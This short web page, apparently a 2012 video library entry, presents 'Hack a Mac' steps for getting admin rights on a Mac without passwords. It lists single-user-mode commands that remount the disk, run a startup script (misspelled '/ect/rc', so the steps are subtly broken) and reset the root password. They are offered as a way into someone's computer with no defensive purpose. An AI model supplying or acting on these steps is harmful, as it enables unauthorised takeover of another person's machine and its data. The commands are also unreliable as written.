Hack a Mac: Make a second admin account April 26, 2012Category: Video Library How to hack a mac without knowing any passwords or having any disks. All you need it the computer itself! Gain complete admin privileges. Here are the code: 1. /sbin/fsck -fy 2. /sbin/mount -uw / 3. sh /ect/rc 4. passwd root 5. reboot . . . . . . . .